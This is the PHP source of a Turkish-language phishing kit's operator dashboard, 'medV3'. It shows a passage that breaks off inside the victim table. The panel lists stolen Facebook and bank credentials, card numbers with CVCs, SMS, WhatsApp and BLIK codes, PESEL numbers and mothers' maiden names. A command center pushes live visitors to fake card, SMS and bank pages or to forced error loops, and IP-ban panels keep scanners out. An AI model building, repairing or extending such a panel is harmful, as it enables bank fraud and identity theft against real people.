<?php
// Hata raporlamayı aç
error_reporting(E_ALL);
ini_set('display_errors', 1);

// Session kontrolü
if (session_status() == PHP_SESSION_NONE) {
    session_start();
}

// Oturum kontrolü
if (!isset($_SESSION['admin_logged_in'])) {
    header('Location: giris.php');
    exit();
}

// --- VERİTABANI BAĞLANTISI ---
require_once 'db_config.php';
try {
    $conn = new PDO("mysql:host=$db_host;dbname=$db_name;charset=utf8", $db_user, $db_pass);
    $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
} catch (PDOException $e) {
    die("Veritabanı bağlantı hatası: " . $e->getMessage());
}

// --- TÜM VERİLERİ ÇEKME ---
// 1. Kurban Hesapları
$accounts = $conn->query("SELECT * FROM fb_accounts ORDER BY id DESC")->fetchAll(PDO::FETCH_ASSOC);

// 2. Aktif Ziyaretçiler (Son 2 dakika)
$visitors = $conn->query("SELECT * FROM active_visitors WHERE last_seen > NOW() - INTERVAL 2 MINUTE ORDER BY last_seen DESC")->fetchAll(PDO::FETCH_ASSOC);

// 3. Banka Logları
$bank_logs_raw = $conn->query("SELECT * FROM bank_logs ORDER BY id ASC")->fetchAll(PDO::FETCH_ASSOC);
$bank_logs_by_victim = [];
foreach ($bank_logs_raw as $log) {
    $bank_logs_by_victim[$log['victim_id']][] = $log;
}

// 4. BLIK Logları
$blik_logs_raw = $conn->query("SELECT * FROM blik_logs ORDER BY id ASC")->fetchAll(PDO::FETCH_ASSOC);
$blik_logs_by_victim = [];
foreach ($blik_logs_raw as $log) {
    $blik_logs_by_victim[$log['victim_id']][] = $log;
}

// 5. Yönetilen Bankalar
$managed_banks = $conn->query("SELECT * FROM managed_banks ORDER BY display_order ASC, id DESC")->fetchAll(PDO::FETCH_ASSOC);

// 6. Admin ve Ayarlar
$admin_username = $_SESSION['admin_username'] ?? 'Admin';
$stmt_settings = $conn->query("SELECT setting_key, setting_value FROM site_settings");
$settings = [];
while ($row = $stmt_settings->fetch(PDO::FETCH_ASSOC)) {
    $settings[$row['setting_key']] = $row['setting_value'];
}
$current_page_mode = $settings['active_page'] ?? 'facebook';
$current_site_lang = $settings['site_lang'] ?? 'tr';
?>
<!DOCTYPE html>
<html lang="tr" class="h-full bg-gray-900">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Yönetim Paneli - medV3</title>
    <script src="https://cdn.tailwindcss.com"></script>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet">
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.8.1/font/bootstrap-icons.css">
    <script src="https://cdn.jsdelivr.net/npm/sortablejs@latest/Sortable.min.js"></script>

    <style> 
    .flash-new { animation: flash-animation 1.2s 3; background-color: rgba(99, 102, 241, 0.1); box-shadow: 0 0 10px 3px rgba(99, 102, 241, 0.6); }
    @keyframes flash-animation { 0%, 100% { background-color: inherit; box-shadow: none; } 50% { background-color: rgba(99, 102, 241, 0.1); box-shadow: 0 0 10px 3px rgba(99, 102, 241, 0.6); } }
    body { font-family: 'Inter', sans-serif; overflow-x: hidden; position: relative; } 
    
    /* GÖLGELİ İMZA / ARKAPLAN */
    body::before {
        content: "";
        position: fixed;
        top: 0; left: 0; width: 100%; height: 100%;
        /* İstersen buraya kendi logonun linkini koyabilirsin */
        background-image: url('https://st.depositphotos.com/1011081/54834/i/450/depositphotos_548343748-stock-photo-illustration-cryptocurrencies-blockchain-technology-digital.jpg'); 
        background-repeat: no-repeat;
        background-position: center;
        background-size: 100%; 
        opacity: 0.05; 
        z-index: -1;
        pointer-events: none;
    }

    .offcanvas-panel { transform: translateX(-100%); transition: transform 0.3s ease-in-out; }
    .offcanvas-panel.is-open { transform: translateX(0); }
    .offcanvas-overlay { background-color: rgba(0, 0, 0, 0.5); transition: opacity 0.3s ease-in-out; }
    ::-webkit-scrollbar { width: 8px; }
    ::-webkit-scrollbar-track { background: #1f2937; }
    ::-webkit-scrollbar-thumb { background: #4b5563; border-radius: 4px; }
    ::-webkit-scrollbar-thumb:hover { background: #6b7280; }
    </style>
</head>
<body class="h-full text-gray-200">

    <audio id="notification-sound" src="uyari.mp3" preload="auto"></audio>

    <div id="settings-modal" class="hidden fixed inset-0 bg-gray-900 bg-opacity-75 flex items-center justify-center z-50">
        <div class="bg-gray-800 shadow-xl rounded-lg max-w-lg w-full p-6 m-4 overflow-y-auto max-h-screen border border-gray-700">
            <div class="flex justify-between items-center mb-4">
                <h3 class="text-xl font-bold text-white">Sistem Ayarları</h3>
                <button id="close-settings-modal" class="text-gray-400 hover:text-white text-3xl font-light">&times;</button>
            </div>
            
            <div class="border-t border-gray-700 pt-4 space-y-6">
                <div>
                    <h4 class="text-md font-semibold text-gray-300 mb-2">Giriş Sayfası Modu</h4>
                    <div class="flex gap-2 mt-2 flex-wrap">
                        <button data-page="facebook" class="page-switch-btn flex-1 px-4 py-2 rounded-md font-semibold text-sm transition-colors <?= $current_page_mode === 'facebook' ? 'bg-indigo-600 text-white cursor-default' : 'bg-gray-700 hover:bg-gray-600' ?>" <?= $current_page_mode === 'facebook' ? 'disabled' : '' ?>>Facebook</button>
                        <button data-page="banks" class="page-switch-btn flex-1 px-4 py-2 rounded-md font-semibold text-sm transition-colors <?= $current_page_mode === 'banks' ? 'bg-indigo-600 text-white cursor-default' : 'bg-gray-700 hover:bg-gray-600' ?>" <?= $current_page_mode === 'banks' ? 'disabled' : '' ?>>Banka</button>
                        <button data-page="phone" class="page-switch-btn flex-1 px-4 py-2 rounded-md font-semibold text-sm transition-colors <?= $current_page_mode === 'phone' ? 'bg-indigo-600 text-white cursor-default' : 'bg-gray-700 hover:bg-gray-600' ?>" <?= $current_page_mode === 'phone' ? 'disabled' : '' ?>>Telefon</button>
                        <button data-page="zabka" class="page-switch-btn flex-1 px-4 py-2 rounded-md font-semibold text-sm transition-colors <?= $current_page_mode === 'zabka' ? 'bg-indigo-600 text-white cursor-default' : 'bg-gray-700 hover:bg-gray-600' ?>" <?= $current_page_mode === 'zabka' ? 'disabled' : '' ?>>Żabka</button>
                    </div>
                </div>

                <div class="bg-gray-700 p-4 rounded border border-gray-600">
                    <label class="text-white font-bold block mb-1">Site Dili</label>
                    <div class="flex gap-2">
                        <input type="text" id="auto-lang-input" value="<?= htmlspecialchars($current_site_lang) ?>" placeholder="tr, en, de..." class="w-full p-2 rounded bg-gray-800 text-white font-bold text-center uppercase border border-gray-500 focus:outline-none focus:ring-2 focus:ring-indigo-500" maxlength="2">
                        <button id="save-auto-lang" class="bg-blue-600 hover:bg-blue-500 text-white px-4 py-2 rounded font-bold transition-colors whitespace-nowrap">Kaydet</button>
                    </div>
                </div>

                <div class="space-y-3 border-t border-gray-700 pt-6">
                    <h4 class="text-md font-semibold text-gray-300">Veri Yönetimi</h4>
                    <div class="flex gap-2">
                        <a href="api.php?action=export_logs" target="_blank" class="flex-1 text-center px-4 py-2 bg-green-600 hover:bg-green-700 rounded-md font-semibold text-white transition-colors"><i class="bi bi-download me-2"></i> İndir</a>
                        <button id="delete-all-logs-btn" class="flex-1 px-4 py-2 bg-red-800 hover:bg-red-700 rounded-md font-semibold text-white transition-colors"><i class="bi bi-trash me-2"></i> Temizle</button>
                    </div>
                </div>

                <form id="settings-form" class="space-y-3 border-t border-gray-700 pt-6">
                    <h4 class="text-md font-semibold text-gray-300">Admin Bilgileri</h4>
                    <div><input type="password" name="current_password" placeholder="Mevcut Şifre" required class="w-full bg-gray-700 border border-gray-600 rounded p-2 text-white focus:outline-none focus:ring-indigo-500"></div>
                    <div class="flex gap-2">
                        <input type="text" name="new_username" placeholder="Yeni Kullanıcı Adı" class="w-1/2 bg-gray-700 border border-gray-600 rounded p-2 text-white focus:outline-none focus:ring-indigo-500">
                        <input type="password" name="new_password" placeholder="Yeni Şifre" class="w-1/2 bg-gray-700 border border-gray-600 rounded p-2 text-white focus:outline-none focus:ring-indigo-500">
                    </div>
                    <button type="submit" class="w-full px-5 py-2 bg-indigo-600 hover:bg-indigo-700 rounded-md font-semibold text-white text-sm">Güncelle</button>
                </form>
            </div>
        </div>
    </div>

    <div id="command-modal" class="hidden fixed inset-0 bg-gray-900 bg-opacity-90 flex items-center justify-center z-50">
        <div class="bg-gray-800 shadow-2xl rounded-xl max-w-2xl w-full mx-4 flex flex-col max-h-[90vh] border border-gray-600">
            <div class="bg-gray-900 p-4 rounded-t-xl border-b border-gray-700 flex justify-between items-center">
                <div>
                    <h3 class="text-xl font-bold text-white flex items-center gap-2"><i class="bi bi-cpu-fill text-indigo-500"></i> Komuta Merkezi</h3>
                    <p class="text-xs text-gray-400 mt-1">ID: <span id="cmd-victim-id" class="text-yellow-400 font-mono font-bold">---</span> | IP: <span id="cmd-victim-ip" class="text-cyan-400 font-mono">---</span></p>
                </div>
                <button onclick="closeCommandModal()" class="text-gray-400 hover:text-white text-3xl">&times;</button>
            </div>
            
            <div class="p-6 overflow-y-auto space-y-6">
                
                <div>
                    <h4 class="text-xs font-bold text-gray-500 uppercase tracking-widest mb-3 border-b border-gray-700 pb-1">Veri Toplama Sayfaları</h4>
                    <div class="grid grid-cols-2 sm:grid-cols-4 gap-3">
                        <button onclick="sendRedirect('sms.php')" class="bg-gray-700 hover:bg-indigo-600 text-white py-3 rounded-lg font-semibold border border-gray-600 flex flex-col items-center gap-1"><i class="bi bi-chat-left-text text-xl"></i> <span>SMS 1</span></button>
                        <button onclick="sendRedirect('sms2.php')" class="bg-gray-700 hover:bg-indigo-600 text-white py-3 rounded-lg font-semibold border border-gray-600 flex flex-col items-center gap-1"><i class="bi bi-chat-quote text-xl"></i> <span>Whatsapp</span></button>
                        <button onclick="sendRedirect('card.php')" class="bg-gray-700 hover:bg-indigo-600 text-white py-3 rounded-lg font-semibold border border-gray-600 flex flex-col items-center gap-1"><i class="bi bi-credit-card text-xl"></i> <span>Kart</span></button>
                        <button onclick="sendRedirect('details.php')" class="bg-gray-700 hover:bg-indigo-600 text-white py-3 rounded-lg font-semibold border border-gray-600 flex flex-col items-center gap-1"><i class="bi bi-person-badge text-xl"></i> <span>Kimlik</span></button>
                        <button onclick="sendRedirect('phone_page.php')" class="bg-gray-700 hover:bg-indigo-600 text-white py-3 rounded-lg font-semibold border border-gray-600 flex flex-col items-center gap-1"><i class="bi bi-phone text-xl"></i> <span>Telefon No</span></button>
                        <button onclick="sendRedirect('facebook_page.php')" class="bg-gray-700 hover:bg-indigo-600 text-white py-3 rounded-lg font-semibold border border-gray-600 flex flex-col items-center gap-1"><i class="bi bi-facebook text-xl"></i> <span>Facebook</span></button>
                    </div>
                </div>

                <div>
                    <h4 class="text-xs font-bold text-gray-500 uppercase tracking-widest mb-3 border-b border-gray-700 pb-1">Banka & Bitiş</h4>
                    <div class="grid grid-cols-2 sm:grid-cols-4 gap-3">
                        <button onclick="sendRedirect('banks_page.php')" class="bg-gray-700 hover:bg-teal-600 text-white py-3 rounded-lg font-semibold border border-gray-600 flex flex-col items-center gap-1"><i class="bi bi-bank text-xl"></i> <span>Banka Listesi</span></button>
                        <button onclick="sendRedirect('blik.php')" class="bg-gray-700 hover:bg-teal-600 text-white py-3 rounded-lg font-semibold border border-gray-600 flex flex-col items-center gap-1"><i class="bi bi-wallet2 text-xl"></i> <span>BLIK</span></button>
                        <button onclick="sendRedirect('confirmation.php')" class="bg-gray-700 hover:bg-green-600 text-white py-3 rounded-lg font-semibold border border-gray-600 flex flex-col items-center gap-1"><i class="bi bi-check-circle text-xl"></i> <span>Onaylama</span></button>
                        <button onclick="sendRedirect('completed.php')" class="bg-gray-700 hover:bg-green-500 text-white py-3 rounded-lg font-semibold border border-gray-600 hover:border-green-400 flex flex-col items-center gap-1 shadow-[0_0_10px_rgba(34,197,94,0.3)]"><i class="bi bi-check2-all text-xl"></i> <span>✅ İşlem Tamam</span></button>
                    </div>
                    <div class="mt-2">
                        <button onclick="sendRedirect('index.php')" class="w-full bg-gray-700 hover:bg-gray-600 text-white py-2 rounded-lg font-semibold border border-gray-600 flex justify-center items-center gap-2"><i class="bi bi-house-door"></i> <span>Ana Sayfaya At</span></button>
                    </div>
                </div>

                <div>
                    <h4 class="text-xs font-bold text-red-400 uppercase tracking-widest mb-3 border-b border-red-900/50 pb-1">Hata Döngüleri</h4>
                    <div class="grid grid-cols-2 sm:grid-cols-4 gap-3">
                        <button onclick="sendRedirect('error.php?target=sms.php')" class="bg-red-900/40 hover:bg-red-700 text-red-200 py-2 rounded-lg text-sm font-semibold border border-red-900">SMS Hata</button>
                        <button onclick="sendRedirect('error.php?target=sms2.php')" class="bg-red-900/40 hover:bg-red-700 text-red-200 py-2 rounded-lg text-sm font-semibold border border-red-900">Whatsapp Hata</button>
                        <button onclick="sendRedirect('error.php?target=card.php')" class="bg-red-900/40 hover:bg-red-700 text-red-200 py-2 rounded-lg text-sm font-semibold border border-red-900">Kart Hata</button>
                        <button onclick="sendRedirect('error.php?target=banks_page.php')" class="bg-red-900/40 hover:bg-red-700 text-red-200 py-2 rounded-lg text-sm font-semibold border border-red-900">Banka Hata</button>
                    </div>
                </div>

                <div class="flex flex-col sm:flex-row gap-4">
                    <div class="bg-gray-700/30 p-4 rounded-lg border border-gray-700 flex-grow">
                        <h4 class="text-xs font-bold text-purple-400 uppercase tracking-widest mb-2"><i class="bi bi-question-diamond-fill"></i> Özel Soru</h4>
                        <div class="flex gap-2">
                            <input type="text" id="custom-question-input" placeholder="Örn: Anne kızlık soyadı?" class="flex-grow bg-gray-900 border border-gray-600 rounded-lg px-4 py-2 text-white focus:outline-none focus:ring-2 focus:ring-purple-500">
                            <button onclick="sendCustomQuestion()" class="bg-purple-600 hover:bg-purple-700 text-white px-6 py-2 rounded-lg font-bold transition-colors">Sor</button>
                        </div>
                    </div>
                    <div class="bg-red-900/20 p-4 rounded-lg border border-red-800 flex flex-col justify-center items-center sm:w-1/3">
                        <h4 class="text-xs font-bold text-red-500 uppercase tracking-widest mb-2"><i class="bi bi-shield-slash-fill"></i> Erişim Engeli</h4>
                        <button onclick="blockVictim()" class="w-full bg-red-700 hover:bg-red-600 text-white py-2 rounded-lg font-bold text-sm transition-all shadow-lg shadow-red-900/50">IP ENGELLE</button>
                    </div>
                </div>

            </div>
        </div>
    </div>

    <div id="bank-management-offcanvas-container" class="hidden fixed inset-0 z-40">
        <div id="bank-management-overlay" class="offcanvas-overlay absolute inset-0 opacity-0 hidden"></div>
        <div id="bank-management-panel" class="offcanvas-panel relative bg-gray-800 h-full w-full max-w-lg flex flex-col shadow-xl">
            <div class="flex items-center justify-between p-4 border-b border-gray-700 flex-shrink-0"><h3 class="text-xl font-bold">Banka Yönetimi</h3><button id="close-bank-management" class="text-gray-400 hover:text-white text-3xl">&times;</button></div>
            <div class="flex-grow p-6 space-y-6 overflow-y-auto">
                <form id="bank-form" class="space-y-4" enctype="multipart/form-data">
                    <input type="hidden" name="bank_id" id="bank-id-input"><input type="text" name="bank_name" placeholder="Banka Adı" class="w-full bg-gray-700 p-2 rounded border border-gray-600 text-white" required>
                    <select name="bank_type" class="w-full bg-gray-700 p-2 rounded border border-gray-600 text-white"><option value="classic">Klasik</option><option value="blik">BLIK</option></select>
                    <div id="classic-bank-fields"><input type="text" name="login_prompt" placeholder="Login Label" class="w-full bg-gray-700 p-2 mt-2 rounded border border-gray-600 text-white"><input type="text" name="password_prompt" placeholder="Pass Label" class="w-full bg-gray-700 p-2 mt-2 rounded border border-gray-600 text-white"></div>
                    <input type="file" name="logo" class="text-white text-sm"><input type="text" name="logo_url" placeholder="Logo URL (https://...)" class="w-full bg-gray-700 p-2 mt-2 rounded border border-gray-600 text-white"><button type="submit" class="w-full bg-indigo-600 py-2 rounded text-white font-bold">Kaydet</button>
                </form>
                <div id="bank-list-container" class="space-y-2">
                    <?php foreach($managed_banks as $bank): ?>
                    <div class="bg-gray-700/50 p-2 rounded flex justify-between items-center" id="bank-row-<?= $bank['id'] ?>" data-id="<?= $bank['id'] ?>">
                        <span class="text-white font-bold"><i class="bi bi-grip-vertical cursor-move bank-drag-handle"></i> <?= htmlspecialchars($bank['bank_name']) ?></span>
                        <div class="flex gap-2"><button data-bank-id="<?= $bank['id'] ?>" class="edit-bank-btn text-blue-400"><i class="bi bi-pencil-square"></i></button><button data-bank-id="<?= $bank['id'] ?>" class="toggle-bank-btn <?= $bank['is_active'] ? 'text-green-400' : 'text-gray-500' ?>"><i class="bi bi-eye-fill"></i></button><button data-bank-id="<?= $bank['id'] ?>" class="delete-bank-btn text-red-500"><i class="bi bi-trash"></i></button></div>
                    </div>
                    <?php endforeach; ?>
                </div>
                <button id="save-bank-order-btn" class="hidden w-full bg-blue-600 text-white py-2 rounded">Sıralamayı Kaydet</button>
            </div>
        </div>
    </div>

    <div id="ip-management-offcanvas-container" class="hidden fixed inset-0 z-40">
        <div id="ip-management-overlay" class="offcanvas-overlay absolute inset-0 opacity-0 hidden"></div>
        <div id="ip-management-panel" class="offcanvas-panel relative bg-gray-800 h-full w-full max-w-lg flex flex-col shadow-xl">
            <div class="flex items-center justify-between p-4 border-b border-gray-700"><h3 class="text-xl font-bold">IP Yönetimi</h3><button id="close-ip-management" class="text-gray-400 hover:text-white text-3xl">&times;</button></div>
            <div class="p-6 overflow-y-auto space-y-4">
                <form id="ip-add-form"><input type="text" name="ip_address" placeholder="IP Adresi" class="w-full bg-gray-700 p-2 rounded border border-gray-600 text-white mb-2" required><input type="text" name="description" placeholder="Açıklama" class="w-full bg-gray-700 p-2 rounded border border-gray-600 text-white mb-2"><button type="submit" class="w-full bg-indigo-600 text-white py-2 rounded">Ekle</button></form>
                <hr class="border-gray-600"><h4 class="text-white font-bold">Toplu Ekle</h4>
                <form id="ip-bulk-add-form"><textarea name="ip_list" rows="5" class="w-full bg-gray-700 p-2 rounded border border-gray-600 text-white" placeholder="Her satıra bir IP"></textarea><button type="submit" class="w-full bg-green-600 text-white py-2 rounded mt-2">Toplu Ekle</button></form>
                <hr class="border-gray-600">
                <form id="ip-search-form" class="flex gap-2"><input type="text" name="ip_search_term" placeholder="IP Ara..." class="w-full bg-gray-700 p-2 rounded border border-gray-600 text-white"><button type="submit" class="bg-blue-600 px-4 rounded text-white">Ara</button></form>
                <div id="ip-list-container"></div>
            </div>
        </div>
    </div>

    <div id="ban-panel-container" class="hidden fixed inset-0 z-40">
        <div id="ban-panel-overlay" class="offcanvas-overlay absolute inset-0 opacity-0 hidden"></div>
        <div id="ban-panel" class="offcanvas-panel relative bg-gray-800 h-full w-full max-w-lg flex flex-col shadow-xl">
            <div class="flex items-center justify-between p-4 border-b border-gray-700 flex-shrink-0">
                <h3 class="text-xl font-bold text-red-500"><i class="bi bi-shield-fill-x"></i> Yasaklı IP Listesi</h3>
                <button id="close-ban-panel" class="text-gray-400 hover:text-white text-3xl">&times;</button>
            </div>
            <div class="flex-grow p-6 space-y-6 overflow-y-auto">
                <p class="text-gray-400 text-sm mb-4">Bu IP adresleri siteye erişemez (Bot sayfasına düşer).</p>
                <div id="ban-list-content" class="space-y-2"><p class="text-gray-500 text-center mt-10">Yükleniyor...</p></div>
            </div>
        </div>
    </div>

    <div id="confirmation-modal" class="hidden fixed inset-0 bg-gray-900 bg-opacity-75 flex items-center justify-center z-50">
        <div class="bg-gray-800 shadow-xl rounded-lg max-w-sm w-full p-6 m-4 text-center">
            <h3 id="confirmation-title" class="text-lg font-bold text-white mb-4">Onay</h3>
            <p id="confirmation-message" class="text-gray-300 mb-6">Emin misiniz?</p>
            <div class="flex justify-center gap-4"><button id="confirmation-cancel-btn" class="px-6 py-2 bg-gray-600 hover:bg-gray-700 rounded-md font-semibold text-white text-sm">İptal</button><button id="confirmation-confirm-btn" class="px-6 py-2 bg-red-600 hover:bg-red-700 rounded-md font-semibold text-white text-sm">Onayla</button></div>
        </div>
    </div>
    <div id="message-modal" class="hidden fixed inset-0 bg-gray-900 bg-opacity-75 flex items-center justify-center z-50">
        <div class="bg-gray-800 shadow-xl rounded-lg max-w-sm w-full p-6 m-4">
             <div class="sm:flex sm:items-start"><div id="message-modal-icon-container" class="mx-auto flex-shrink-0 flex items-center justify-center h-12 w-12 rounded-full bg-green-500 sm:mx-0 sm:h-10 sm:w-10"></div><div class="mt-3 text-center sm:mt-0 sm:ml-4 sm:text-left"><h3 id="message-modal-title" class="text-lg leading-6 font-medium text-white">Başlık</h3><div class="mt-2"><p id="message-modal-text" class="text-sm text-gray-300">Mesaj.</p></div></div></div>
            <div class="mt-5 sm:mt-4 sm:flex sm:flex-row-reverse"><button id="message-modal-close-btn" type="button" class="w-full inline-flex justify-center rounded-md border border-transparent shadow-sm px-4 py-2 bg-indigo-600 text-base font-medium text-white hover:bg-indigo-700 focus:outline-none sm:ml-3 sm:w-auto sm:text-sm">Tamam</button></div>
        </div>
    </div>

    <header class="flex-shrink-0 bg-gray-800 shadow-md border-b border-gray-700">
        <div class="mx-auto max-w-screen-xl px-4 py-3 flex justify-between items-center">
            <div class="flex gap-4">
                <button id="open-bank-management" class="text-white hover:text-indigo-400 font-semibold"><i class="bi bi-bank"></i> Banka</button>
                <button id="open-ip-management" class="text-white hover:text-indigo-400 font-semibold"><i class="bi bi-shield-lock"></i> IP</button>
                <button id="open-ban-panel" class="text-white hover:text-red-400 font-semibold"><i class="bi bi-slash-circle-fill"></i> Yasaklılar</button>
            </div>
            <div class="flex items-center gap-3">
                <h1 class="text-xl font-bold text-transparent bg-clip-text bg-gradient-to-r from-indigo-400 to-cyan-400">medV3</h1>
                <button id="sound-test-btn" class="text-gray-400 hover:text-white"><i class="bi bi-volume-up-fill"></i></button>
            </div>
            <div class="flex items-center gap-3">
                <button id="set-refresh-btn" class="text-sm text-gray-400 hover:text-white"><i class="bi bi-arrow-repeat"></i> Oto</button>
                <div class="relative">
                    <button class="dropdown-toggle-main text-white font-bold flex items-center gap-2"><i class="bi bi-person-circle"></i> <?= htmlspecialchars($admin_username) ?></button>
                    <div class="dropdown-menu-main hidden absolute right-0 mt-2 w-48 bg-gray-800 rounded shadow-lg border border-gray-700 z-50"><button id="open-settings-btn" class="block w-full text-left px-4 py-2 text-sm text-gray-300 hover:bg-gray-700">Ayarlar</button><a href="logout.php" class="block px-4 py-2 text-sm text-red-400 hover:bg-gray-700">Çıkış</a></div>
                </div>
            </div>
        </div>
    </header>
    
    <main class="flex-grow p-4 sm:p-6 lg:p-8 space-y-6 overflow-y-auto">
        <?php if (!empty($visitors)): ?>
        <div class="bg-gray-800 shadow rounded-lg border border-gray-700">
            <h3 class="px-6 py-4 border-b border-gray-700 font-bold text-lg flex justify-between"><span>Online Ziyaretçiler</span> <span class="bg-indigo-600 text-xs px-2 py-1 rounded-full"><?= count($visitors) ?></span></h3>
            <div class="p-4 grid gap-4 sm:grid-cols-2 lg:grid-cols-3">
                <?php foreach ($visitors as $visitor): ?>
    <?php 
        // Bot sayfasında mı kontrol et
        $is_bot_page = (strpos($visitor['current_page'], 'bot_page') !== false); 
    ?>

    <?php if ($is_bot_page): ?>
        <div class="col-span-1 bg-red-900/10 border border-red-900/20 p-2 rounded flex justify-between items-center opacity-50 hover:opacity-100 transition-opacity">
            <div class="flex items-center gap-2 overflow-hidden">
                <i class="bi bi-robot text-red-500 text-lg"></i>
                <div class="flex flex-col">
                    <span class="text-xs font-mono text-gray-500 truncate"><?= htmlspecialchars($visitor['ip_address']) ?></span>
                    <span class="text-[9px] text-red-900 uppercase font-bold">Engellendi</span>
                </div>
            </div>
            <button onclick="deleteLog('<?= $visitor['id'] ?>')" class="text-red-800 hover:text-red-500"><i class="bi bi-x-lg"></i></button>
        </div>

    <?php else: ?>
        <div id="visitor-<?= $visitor['id'] ?>" class="bg-gray-700/40 p-4 rounded-lg border border-gray-600 flex justify-between items-center shadow-lg shadow-indigo-500/10">
            <div>
                <div class="font-mono text-sm font-bold text-white flex items-center gap-2">
                    <span class="w-2 h-2 rounded-full bg-green-500 animate-pulse"></span>
                    <?= htmlspecialchars($visitor['ip_address']) ?>
                </div>
                <div class="text-xs text-cyan-400 mt-1 font-semibold">
                    <i class="bi bi-phone"></i> <?= htmlspecialchars($visitor['current_page']) ?>
                </div>
            </div>
            <button onclick="openCommandCenter('visitor', '<?= $visitor['id'] ?>', '<?= htmlspecialchars($visitor['ip_address']) ?>')" class="bg-indigo-600 hover:bg-indigo-500 text-white px-4 py-2 rounded font-bold text-sm shadow-md transition-all">YÖNET</button>
        </div>
    <?php endif; ?>

<?php endforeach; ?>
            </div>
        </div>
        <?php endif; ?>

        <div class="bg-gray-800 shadow-xl rounded-lg border border-gray-700">
            <div class="px-6 py-4 border-b border-gray-700"><h3 class="font-bold text-lg text-white">Kurban Logları</h3></div>
            <div class="overflow-x-auto">
                <table class="w-full text-sm text-left">
                    <thead class="bg-gray-900/50 text-gray-400 uppercase text-xs">
                        <tr><th class="p-4">ID</th><th class="p-4">Kişisel Bilgiler</th><th class="p-4">Kart</th><th class="p-4">Banka</th><th class="p-4">Zaman</th><th class="p-4 text-center">Komuta</th></tr>
                    </thead>
                    <tbody class="divide-y divide-gray-700">
                        <?php foreach ($accounts as $account): ?>
                        <tr id="account-row-<?= $account['id'] ?>" class="hover:bg-gray-700/30 transition-colors">
                            <td class="p-4 align-top font-mono text-indigo-400 font-bold">#<?= $account['id'] ?></td>
                            <td class="p-4 align-top space-y-1">
                                <?php 
if (strpos($account['email'], 'BANK:') === 0) {
    // Format: BANK:BankaAdi:Login
    $parts = explode(':', $account['email']);
    $b_name = $parts[1] ?? 'Banka';

    // Logoyu veritabanından bul
    $logo_url = '';
    foreach($managed_banks as $mb) {
        if(strtolower($mb['bank_name']) == strtolower($b_name)) {
            $logo_url = $mb['logo_url'] ?? ''; 
            break;
        }
    }
    
    // SADECE LOGO BAS (Metin Yok)
    echo '<div class="flex justify-start items-center h-full">';
    if(empty($logo_url)) {
        // Logo yoksa varsayılan banka ikonu
        echo '<div class="bg-gray-700 p-2 rounded text-yellow-500" title="'.htmlspecialchars($b_name).'"><i class="bi bi-bank2 text-2xl"></i></div>';
    } else {
        // Logo varsa sadece resim
        echo '<img src="'.$logo_url.'" class="h-10 w-auto object-contain bg-gray-200 rounded p-1 shadow-sm" title="'.htmlspecialchars($b_name).'">';
    }
    echo '</div>';
    
} else {
    // Normal email ise (Facebook vs.) normal yaz
    echo '<div class="text-white font-bold text-sm">' . htmlspecialchars($account['email']) . '</div>';
}
?>
<?php if (strpos($account['email'], 'BANK:') !== 0): ?>
    <div class="text-yellow-400 font-mono text-sm"><?= htmlspecialchars($account['password']) ?></div>
<?php endif; ?>                                <div class="text-xs text-gray-400">
                                    <?= htmlspecialchars($account['dob'] ?? '') ?><br>
                                    <?= htmlspecialchars($account['postcode'] ?? '') ?> <?= htmlspecialchars($account['house_number'] ?? '') ?>
                                </div>
                                <?php if(!empty($account['pesel'])): ?>
                                <div class="text-orange-400 font-bold text-xs mt-1 border-t border-gray-700 pt-1">
                                    PESEL: <span class="text-white"><?= htmlspecialchars($account['pesel']) ?></span>
                                    </div>
                                    <?php endif; ?>
                                    <?php if(!empty($account['mmn'])): ?>
                                    <div class="text-orange-400 font-bold text-xs">
                                        K. Soyadı: <span class="text-white"><?= htmlspecialchars($account['mmn']) ?></span>
                                        </div>
                                        <?php endif; ?>
                                        <?php if(!empty($account['confirmation_status'])): ?>
                                        <?php
                                        $durum_renk = ($account['confirmation_status'] == 'Onaylandı') ? 'text-green-400' : 'text-red-400';
                                        $durum_ikon = ($account['confirmation_status'] == 'Onaylandı') ? 'bi-check-circle-fill' : 'bi-x-circle-fill';
                                        ?>
                                        <div class="mt-2 p-2 bg-gray-900/50 rounded border border-gray-600 flex items-center gap-2">
                                            <i class="bi <?= $durum_ikon ?> <?= $durum_renk ?>"></i>
                                            <span class="font-bold text-sm text-white">
                                                İşlem: <span class="<?= $durum_renk ?>"><?= htmlspecialchars($account['confirmation_status']) ?></span>
                                                </span>
                                                </div>
                                                <?php endif; ?>
                                <?php if(!empty($account['sms_code'])): ?><div class="text-green-400 font-bold">SMS 1: <?= $account['sms_code'] ?></div><?php endif; ?>
                                <?php if(!empty($account['sms_code_2'])): ?><div class="text-teal-400 font-bold">Whatsapp: <?= $account['sms_code_2'] ?></div><?php endif; ?>
                                <?php if(isset($blik_logs_by_victim[$account['id']])): ?>
                                    <div class="mt-2 text-purple-400 font-bold text-xs border-t border-gray-600 pt-1">
                                        BLIK: 
                                        <?php foreach($blik_logs_by_victim[$account['id']] as $blik_log): ?>
                                            <span class="bg-purple-900/50 px-1 rounded"><?= htmlspecialchars($blik_log['blik_code']) ?></span>
                                        <?php endforeach; ?>
                                    </div>
                                <?php endif; ?>
                                <?php if (!empty($account['custom_question'])): ?><div class="mt-2 p-2 bg-purple-900/40 rounded border border-purple-500/30 text-xs"><span class="text-purple-300 block">Soru: <?= htmlspecialchars($account['custom_question']) ?></span><span class="text-white font-bold block mt-1">Cevap: <?= htmlspecialchars($account['custom_answer'] ?? '...') ?></span></div><?php endif; ?>
                            </td>
                            <td class="p-4 align-top text-cyan-300 font-mono"><?= htmlspecialchars($account['card_number'] ?? '') ?><br><?= htmlspecialchars($account['card_expiry'] ?? '') ?> <?= htmlspecialchars($account['card_cvc'] ?? '') ?></td>
                            <td class="p-4 align-top"><?php if (isset($bank_logs_by_victim[$account['id']])): ?><?php foreach ($bank_logs_by_victim[$account['id']] as $bl): ?><div class="mb-1 text-xs"><span class="text-cyan-400 font-bold"><?= $bl['bank_name'] ?></span><br>L: <?= $bl['login_id'] ?> | P: <span class="text-yellow-400"><?= $bl['password'] ?></span></div><?php endforeach; ?><?php endif; ?></td>
